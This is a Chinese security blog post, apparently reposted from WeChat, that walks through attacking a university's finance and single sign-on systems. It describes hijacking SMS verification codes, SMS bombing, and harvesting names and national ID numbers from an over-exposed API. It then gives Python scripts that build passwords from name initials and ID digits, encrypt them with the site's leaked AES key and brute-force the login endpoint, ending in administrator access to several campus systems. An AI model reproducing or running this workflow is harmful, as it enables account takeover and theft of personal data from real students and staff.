记一次某edu挖洞过程

admin 2024年5月17日21:55:15评论13 views字数 3479阅读11分35秒阅读模式

在信息收集过程中找到了某学院的公众号,发现了财务收费平台

记一次某edu挖洞过程

Google语法找到了部分教师工号,直接获取验证码

记一次某edu挖洞过程

抓包

记一次某edu挖洞过程

看到用户名和手机号一起发的就得试一试验证码劫持,直接修改为自己的手机号

记一次某edu挖洞过程

成功发送,必须试短信轰炸,送分题

记一次某edu挖洞过程

以为轻轻松松,没想到还有验证

记一次某edu挖洞过程

小问题,给前面的qq地址删了就行

记一次某edu挖洞过程

但是没想到还有验证

记一次某edu挖洞过程

点哪都是验证,还是得要微信来,开Fiddler。这时候要重新发送那个验证码劫持的数据包,然后在将验证码输入到微信的登录框中

记一次某edu挖洞过程

大量敏感信息,这种就是开发过程中为了省事,直接select * from,card_id表示身份证号

得到姓名身份证号,就可以试一试爆破统一身份认证了,猜测密码为姓名的拼音加身份证后六位

先写脚本制作制作字典

import pinyin

def getStrAllAlpha(str):    s = pinyin.get_initial(str, delimiter="").upper()    return s.lower()

def getStrFirstAlpha(str):    str = getStrAllAlpha(str)    str = str[0:1]    return str.upper()

if __name__ == '__main__':    str='陈冠希'    s = getStrAllAlpha(str)    b = getStrFirstAlpha(str)    print(s)    print(b)

在取json,然后传递数据

import json

data = '[{"name": "陈冠希", "card": 123456},{"name": "陈冠希", "card": 123456}]'json_array = json.loads(data, strict=False)for json_obj in json_array:    Card = json_obj.get("card")    Name = json_obj.get("name")    if Card is None:        Card = ""    if Name is None:        Name = ""    print("姓名:{:<10}身份证号:{:<20}".format(Card, Name))

然后组合一下

import jsonimport pinyin



def getStrAllAlpha(str):    s = pinyin.get_initial(str, delimiter="").upper()    return s.lower()



def getStrFirstAlpha(str):    str = getStrAllAlpha(str)    str = str[0:1]    return str.upper()



if __name__ == '__main__':    data = '[{"name": "陈冠希", "card": 123456},{"name": "陈冠希", "card": 123456}]'    json_array = json.loads(data, strict=False)    for json_obj in json_array:        Card = json_obj.get("card")        Name = json_obj.get("name")        if Card is None:            Card = ""        if Name is None: 1        Name = ""        s = getStrAllAlpha(Name)        pwd = s + str(Card)        print("姓名:{:<10}身份证号:{:<20}密码:{:<20}".format(Name, Card, pwd))

记一次某edu挖洞过程

然后再去统一身份认证看看密码是否加密

记一次某edu挖洞过程

加密了,就密码采取了加密,那就逆一下js。搜索一下userLogin,先找到函数位置

记一次某edu挖洞过程

打个断点调试一下,大概率aes加密了

记一次某edu挖洞过程

正当我打算扣js,入手js逆向的时候,发现直接给出了,key和iv

记一次某edu挖洞过程

拿去解密一下

记一次某edu挖洞过程

js逆向不太擅长,打算用python写个脚本,这时候就要请出AI同学了

记一次某edu挖洞过程

然后在写个请求的脚本,结合之前的密码制作脚本组合一下

import urllibimport requestsfrom Crypto.Cipher import AESimport base64import jsonimport reimport pinyin

data = '''[{"name": "陈冠希", "card": 123456, "sfz": "123456789123456789"},{"name": "陈冠希", "card": 123456, "sfz": "123456789123456789"}]'''



def aes(data):    keyStr = "1234567890adbcde"    ivStr = "1234567890hjlkew"    key = keyStr.encode('utf-8')    iv = ivStr.encode('utf-8')    cipher = AES.new(key, AES.MODE_CBC, iv)    padded_data = data.encode('utf-8').ljust(16, b'&#x0;')    encrypted_data = cipher.encrypt(padded_data)    encoded_data = base64.b64encode(encrypted_data).decode('utf-8')    return encoded_data



def getStrAllAlpha(str):    s = pinyin.get_initial(str, delimiter="").upper()    return s.lower()



def getStrFirstAlpha(str):    str = getStrAllAlpha(str)    str = str[0:1]    return str.upper()



def requesturl(card, pwd):    url = "https://***.edu.cn/authserver/userLogin"    headers = {        "Host": "***.edu.cn",        "Accept": "*/*",        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36",        "X-Requested-With": "XMLHttpRequest",        "sec-ch-ua-mobile": "?0",        "Connection": "close"    }    data = 'serviceUrl=password=' + pwd + '&username=' + card + '&loginCaptcha='    try:        response = requests.post(url=url, headers=headers, data=data, timeout=40)        return response.text    except Exception as e:        return "请求失败:{}".format(url)



if __name__ == '__main__':    json_array = json.loads(data, strict=False)    for json_obj in json_array:        name = json_obj.get("name")        card = json_obj.get("card")        sfz = json_obj.get("sfz")        if name is None:            name = ""        if card is None:            card = ""        if sfz is None:            sfz = ""        s = getStrAllAlpha(name)        pwd = s + sfz[12:18]        pwd_r = aes(pwd)        pwd_res = urllib.parse.quote(pwd_r)        data = requesturl(str(card), pwd_res)        str_template = '''card:{:<10}password:{:<20}pwd_res:{:<40}res:{:<20}'''        result = str_template.format(card, pwd, pwd_res, data)        print(result)

记一次某edu挖洞过程

但是跑了一会都不对,可能密码组合不是这样的,猜测密码可能有复杂度要求,那就增加首字母大写,但是还是不行
去google语法一下看看也没有工号密码规律

记一次某edu挖洞过程

还新鲜的,那就采取这个密码方式

记一次某edu挖洞过程

成功了,而且跑出来不少,慢慢找吧,大概率有权限高的用户

教务系统管理员

记一次某edu挖洞过程

图书馆管理系统

记一次某edu挖洞过程

离校系统

记一次某edu挖洞过程

原文始发于微信公众号(巢安实验室):记一次某edu挖洞过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日21:55:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次某edu挖洞过程https://cn-sec.com/archives/2046384.html

发表评论

匿名网友 填写信息